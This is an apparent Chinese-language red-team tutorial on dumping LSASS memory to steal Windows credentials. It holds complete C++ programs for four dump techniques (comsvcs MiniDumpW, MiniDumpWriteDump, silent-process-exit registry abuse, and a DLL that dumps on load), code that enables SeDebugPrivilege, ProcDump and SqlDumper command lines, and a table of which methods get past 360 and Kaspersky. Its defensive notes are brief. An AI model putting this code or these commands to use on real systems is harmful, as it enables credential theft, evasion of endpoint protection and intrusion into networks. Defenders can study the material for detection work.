关于Dump lsass
字数 1490 2025-08-06 18:08:09

Windows系统LSASS进程内存转储技术详解

1. 基础知识

1.1 Windows密码存储机制

Windows系统中密码通常由两部分组成:

  • LM Hash:较老的哈希算法,安全性较低
  • NTLM Hash:较新的哈希算法,安全性更高

Hash结构username:RID:LM-HASH:NT-HASH

存储位置

  • 本地用户:SAM文件
  • 域用户:域控的NTDS.dit文件
  • 内存:通过读取lsass.exe进程可获取已登录用户的NTLM hash和明文密码

1.2 防护措施

  1. Protected Users组(WinSer12+):

    • 将用户加入此组可防止使用Mimikatz等工具抓取Hash和明文密码
  2. 安装KB2871997补丁

    • 普通用户无法使用常规Hash传递攻击
    • 例外:SID 500 (Administrator)账号仍可进行Hash传递攻击
  3. 注册表修改

    • 禁止内存中存储明文密码
    • 关闭Wdigest功能(WinSer12+默认关闭):
      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential
      
    • 限制管理员网络登录:
      HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken=1
      

2. 权限提升

2.1 SeDebugPrivilege权限

  • 作用:允许读写system启动的进程内存
  • 检查权限whoami /priv
  • 获取条件:需要管理员权限

2.2 开启SeDebugPrivilege的方法

方法一:标准API方式

#include <windows.h>
#include <iostream>
using namespace std;

void GetPrivilege() {
    HANDLE TokenHandle = NULL;
    BOOL Open = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &TokenHandle);
    if (Open != 0) {
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount = 1;
        BOOL Lookup = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
        tp.Privileges[0].Attributes = true ? SE_PRIVILEGE_ENABLED : 0;
        if (Lookup != 0) {
            BOOL AdjustToken = AdjustTokenPrivileges(TokenHandle, FALSE, &tp, sizeof(tp), NULL, NULL);
            if (AdjustToken != 0) {
                CloseHandle(TokenHandle);
                cout << "AdjustTokenPrivileges Success" << endl;
            } else {
                cout << "AdjustTokenPrivileges Error" << endl;
            }
        } else {
            cout << "LookupPrivilegeValue Error" << endl;
        }
    } else {
        cout << "OpenProcessToken Error" << endl;
    }
}

方法二:RtlAdjustPrivilege(未公开函数)

#include <windows.h>
#include <iostream>
using namespace std;

typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
    ULONG Privilege,
    BOOL Enable,
    BOOL CurrentThread,
    PULONG Enabled
);

_RtlAdjustPrivilege RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlAdjustPrivilege");

int SeDebugPrivilege() {
    ULONG t;
    RtlAdjustPrivilege(20, TRUE, FALSE, &t);
    if (RtlAdjustPrivilege == NULL) {
        cout << "Unable to resolve RtlAdjustPrivilege" << endl;
        return 0;
    }
    cout << "RtlAdjustPrivilege Success" << endl;
}

3. LSASS转储方法

3.1 白名单文件方式

3.1.1 ProcDump(微软签名)

procdump.exe -accepteula -ma lsass.exe lsass.dmp
  • 检测:360会查杀,卡巴斯基会拦截敏感进程

3.1.2 SQLDumper(微软签名)

tasklist /svc | findstr "lsass.exe"
SqlDumper.exe <pid> 0 0x01100 dump64
  • 检测:卡巴斯基无法导出,360拦截

3.1.3 DumpMinitool.exe(Visual Studio自带)

路径:

C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\Extensions\TestPlatform\Extensions
  • 检测:卡巴斯基无法通过

3.2 函数实现方式

3.2.1 MiniDumpW(comsvcs.dll)

#include <windows.h>
#include <iostream>
#include <tlhelp32.h>
#include <processthreadsapi.h>
#include <DbgHelp.h>
using namespace std;

typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(ULONG, BOOL, BOOL, PULONG);
_RtlAdjustPrivilege RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlAdjustPrivilege");

int SeDebugPrivilege() {
    ULONG t;
    RtlAdjustPrivilege(20, TRUE, FALSE, &t);
    if (RtlAdjustPrivilege == NULL) {
        cout << "Unable to resolve RtlAdjustPrivilege" << endl;
        return 0;
    }
    cout << "RtlAdjustPrivilege Success" << endl;
}

int main(int argc, char* argv[]) {
    DWORD pid;
    PROCESSENTRY32 ed;
    ed.dwSize = sizeof(PROCESSENTRY32);
    SeDebugPrivilege();
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (Process32First(hSnapshot, &ed)) {
        while (Process32Next(hSnapshot, &ed)) {
            if (!lstrcmp(ed.szExeFile, "lsass.exe")) {
                pid = ed.th32ProcessID;
                break;
            }
        }
    }
    CloseHandle(hSnapshot);
    
    typedef void(WINAPI* _MiniDumpW)(DWORD, DWORD, PWCHAR);
    _MiniDumpW MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary("comsvcs.dll"), "MiniDumpW");
    MiniDumpW(pid, GetCurrentProcessId(), L"C:\\Windows\\Temp\\lsass.dmp");
    
    cout << "MiniDumpW Success" << endl;
    return 0;
}

3.2.2 MiniDumpWriteDump(官方API)

#include <windows.h>
#include <iostream>
#include <tlhelp32.h>
#include <processthreadsapi.h>
#include <DbgHelp.h>
#pragma comment(lib, "DbgHelp.lib")
using namespace std;

typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(ULONG, BOOL, BOOL, PULONG);
_RtlAdjustPrivilege RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlAdjustPrivilege");

int SeDebugPrivilege() {
    ULONG t;
    RtlAdjustPrivilege(20, TRUE, FALSE, &t);
    if (RtlAdjustPrivilege == NULL) {
        cout << "Unable to resolve RtlAdjustPrivilege" << endl;
        return 0;
    }
    cout << "RtlAdjustPrivilege Success" << endl;
}

int main() {
    DWORD pid;
    PROCESSENTRY32 ed;
    ed.dwSize = sizeof(PROCESSENTRY32);
    SeDebugPrivilege();
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (Process32First(hSnapshot, &ed)) {
        while (Process32Next(hSnapshot, &ed)) {
            if (!lstrcmp(ed.szExeFile, "lsass.exe")) {
                pid = ed.th32ProcessID;
                break;
            }
        }
    }
    CloseHandle(hSnapshot);
    
    HANDLE Open_Handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    HANDLE Dump_File = CreateFile("C:\\Windows\\Temp\\lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    BOOL isDumped = MiniDumpWriteDump(Open_Handle, pid, Dump_File, MiniDumpWithFullMemory, NULL, NULL, NULL);
    
    if (isDumped == TRUE) {
        cout << "Success" << endl;
    } else {
        cout << "MiniDumpWriteDump Error" << endl;
    }
    return 0;
}

3.3 RtlReportSilentProcessExit(静默退出)

3.3.1 注册表设置

  1. 设置GlobalFlag:

    HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe
    GlobalFlag = 0x200 (FLG_MONITOR_SILENT_PROCESS_EXIT)
    
  2. 设置SilentProcessExit:

    HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe
    ReportingMode = 0x2 (LOCAL_DUMP)
    LocalDumpFolder = "C:\tmp"
    DumpType = 0x2 (Full dump)
    

3.3.2 代码实现

#include <windows.h>
#include <iostream>
#include <tlhelp32.h>
using namespace std;

typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(ULONG, BOOL, BOOL, PULONG);
_RtlAdjustPrivilege RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlAdjustPrivilege");

int SeDebugPrivilege() {
    ULONG t;
    RtlAdjustPrivilege(20, TRUE, FALSE, &t);
    if (RtlAdjustPrivilege == NULL) {
        cout << "Unable to resolve RtlAdjustPrivilege" << endl;
        return 0;
    }
    cout << "RtlAdjustPrivilege Success" << endl;
}

int Get_Pid() {
    DWORD pid;
    PROCESSENTRY32 ed;
    ed.dwSize = sizeof(PROCESSENTRY32);
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (Process32First(hSnapshot, &ed)) {
        while (Process32Next(hSnapshot, &ed)) {
            if (!lstrcmp(ed.szExeFile, "lsass.exe")) {
                pid = ed.th32ProcessID;
                break;
            }
        }
    }
    CloseHandle(hSnapshot);
    return pid;
}

int Reg_Set() {
    HKEY phkResult;
    LSTATUS RegCreate = RegCreateKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\lsass.exe", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &phkResult, NULL);
    if (RegCreate == ERROR_SUCCESS) {
        DWORD GlobalFlag = 0x200;
        LSTATUS RegSetValue_GlobalFlag = RegSetValueExA(phkResult, "GlobalFlag", 0, REG_DWORD, (const BYTE*)&GlobalFlag, sizeof(DWORD));
        CloseHandle(phkResult);
        
        RegCreate = RegCreateKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\lsass.exe", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &phkResult, NULL);
        if (RegCreate == ERROR_SUCCESS) {
            DWORD ReportingMode = 0x2;
            LSTATUS RegSetValue_ReportingMode = RegSetValueExA(phkResult, "ReportingMode", 0, REG_DWORD, (const BYTE*)&ReportingMode, sizeof(DWORD));
            
            const char* LocalDumpFolder = "C:\\tmp";
            LSTATUS RegSetValue_LocalDumpFolder = RegSetValueExA(phkResult, "LocalDumpFolder", 0, REG_SZ, (const BYTE*)LocalDumpFolder, strlen(LocalDumpFolder) + 1);
            
            DWORD DumpType = 0x2;
            LSTATUS RegSetValue_DumpType = RegSetValueExA(phkResult, "DumpType", 0, REG_DWORD, (const BYTE*)&DumpType, sizeof(DWORD));
            CloseHandle(phkResult);
            
            if (RegSetValue_ReportingMode == ERROR_SUCCESS && RegSetValue_LocalDumpFolder == ERROR_SUCCESS && RegSetValue_DumpType == ERROR_SUCCESS) {
                cout << "RegSetValue_All Success" << endl;
            }
        }
    }
    return 0;
}

int main(int argc, char* argv) {
    Reg_Set();
    DWORD pid = Get_Pid();
    cout << "Lsass Pid is:" << pid << endl;
    
    HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pid);
    if (hProcess != NULL) {
        typedef NTSTATUS(NTAPI* _RtlReportSilentProcessExit)(HANDLE, NTSTATUS);
        _RtlReportSilentProcessExit RtlReportSilentProcessExit = (_RtlReportSilentProcessExit)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlReportSilentProcessExit");
        RtlReportSilentProcessExit(hProcess, 0);
        CloseHandle(hProcess);
        cout << "Path:C:\\tmp" << endl;
    }
    return 0;
}

3.4 DLL加载方式

#include <Windows.h>
#include <iostream>
#include <tlhelp32.h>
#include <processthreadsapi.h>
#include <DbgHelp.h>
#pragma comment(lib, "DbgHelp.lib")

typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(ULONG, BOOL, BOOL, PULONG);
_RtlAdjustPrivilege RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlAdjustPrivilege");

int SeDebugPrivilege() {
    ULONG t;
    RtlAdjustPrivilege(20, TRUE, FALSE, &t);
    if (RtlAdjustPrivilege == NULL) {
        cout << "Unable to resolve RtlAdjustPrivilege.\n" << endl;
        return 0;
    }
    cout << "RtlAdjustPrivilege Success" << endl;
}

void Dump() {
    DWORD pid;
    PROCESSENTRY32 ed;
    ed.dwSize = sizeof(PROCESSENTRY32);
    SeDebugPrivilege();
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (Process32First(hSnapshot, &ed)) {
        while (Process32Next(hSnapshot, &ed)) {
            if (!lstrcmp(ed.szExeFile, "lsass.exe")) {
                pid = ed.th32ProcessID;
                break;
            }
        }
    }
    CloseHandle(hSnapshot);
    
    HANDLE Open_Handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    HANDLE Dump_File = CreateFile("C:\\Windows\\Temp\\lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    MiniDumpWriteDump(Open_Handle, pid, Dump_File, MiniDumpWithFullMemory, NULL, NULL, NULL);
    CloseHandle(Dump_File);
    CloseHandle(Open_Handle);
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
            Dump();
            break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

4. 检测与防御

4.1 安全产品检测情况

方法 360 卡巴斯基
ProcDump 查杀 拦截敏感进程
SQLDumper 拦截 无法导出
DumpMinitool - 无法通过
MiniDumpW 核晶无法完整导出 无法导出
MiniDumpWriteDump 核晶无法完整导出 无法导出
RtlReportSilentProcessExit 检测注册表操作 无法导出
DLL加载 - 无法通过

4.2 其他未提及方法

  • SSP (Security Support Provider):通过安装SSP DLL来截获凭据
  • WDigest:如果开启,可从内存中提取明文密码
  • 其他LOLBINs:利用更多微软签名工具进行转储

5. 总结

本文详细介绍了多种从LSASS进程转储内存凭据的技术,包括白名单文件利用、API调用、注册表操作和DLL注入等方法。每种方法都有其特点和适用的场景,同时也面临着不同安全产品的检测和拦截。防御方面,建议结合组策略、补丁更新和注册表设置等多层防护措施来保护系统凭据安全。

Windows系统LSASS进程内存转储技术详解 1. 基础知识 1.1 Windows密码存储机制 Windows系统中密码通常由两部分组成: LM Hash :较老的哈希算法,安全性较低 NTLM Hash :较新的哈希算法,安全性更高 Hash结构 : username:RID:LM-HASH:NT-HASH 存储位置 : 本地用户:SAM文件 域用户:域控的NTDS.dit文件 内存:通过读取lsass.exe进程可获取已登录用户的NTLM hash和明文密码 1.2 防护措施 Protected Users组 (WinSer12+): 将用户加入此组可防止使用Mimikatz等工具抓取Hash和明文密码 安装KB2871997补丁 : 普通用户无法使用常规Hash传递攻击 例外 :SID 500 (Administrator)账号仍可进行Hash传递攻击 注册表修改 : 禁止内存中存储明文密码 关闭Wdigest功能(WinSer12+默认关闭): 限制管理员网络登录: 2. 权限提升 2.1 SeDebugPrivilege权限 作用 :允许读写system启动的进程内存 检查权限 : whoami /priv 获取条件 :需要管理员权限 2.2 开启SeDebugPrivilege的方法 方法一:标准API方式 方法二:RtlAdjustPrivilege(未公开函数) 3. LSASS转储方法 3.1 白名单文件方式 3.1.1 ProcDump(微软签名) 检测 :360会查杀,卡巴斯基会拦截敏感进程 3.1.2 SQLDumper(微软签名) 检测 :卡巴斯基无法导出,360拦截 3.1.3 DumpMinitool.exe(Visual Studio自带) 路径: 检测 :卡巴斯基无法通过 3.2 函数实现方式 3.2.1 MiniDumpW(comsvcs.dll) 3.2.2 MiniDumpWriteDump(官方API) 3.3 RtlReportSilentProcessExit(静默退出) 3.3.1 注册表设置 设置GlobalFlag: 设置SilentProcessExit: 3.3.2 代码实现 3.4 DLL加载方式 4. 检测与防御 4.1 安全产品检测情况 | 方法 | 360 | 卡巴斯基 | |------|-----|---------| | ProcDump | 查杀 | 拦截敏感进程 | | SQLDumper | 拦截 | 无法导出 | | DumpMinitool | - | 无法通过 | | MiniDumpW | 核晶无法完整导出 | 无法导出 | | MiniDumpWriteDump | 核晶无法完整导出 | 无法导出 | | RtlReportSilentProcessExit | 检测注册表操作 | 无法导出 | | DLL加载 | - | 无法通过 | 4.2 其他未提及方法 SSP (Security Support Provider) :通过安装SSP DLL来截获凭据 WDigest :如果开启,可从内存中提取明文密码 其他LOLBINs :利用更多微软签名工具进行转储 5. 总结 本文详细介绍了多种从LSASS进程转储内存凭据的技术,包括白名单文件利用、API调用、注册表操作和DLL注入等方法。每种方法都有其特点和适用的场景,同时也面临着不同安全产品的检测和拦截。防御方面,建议结合组策略、补丁更新和注册表设置等多层防护措施来保护系统凭据安全。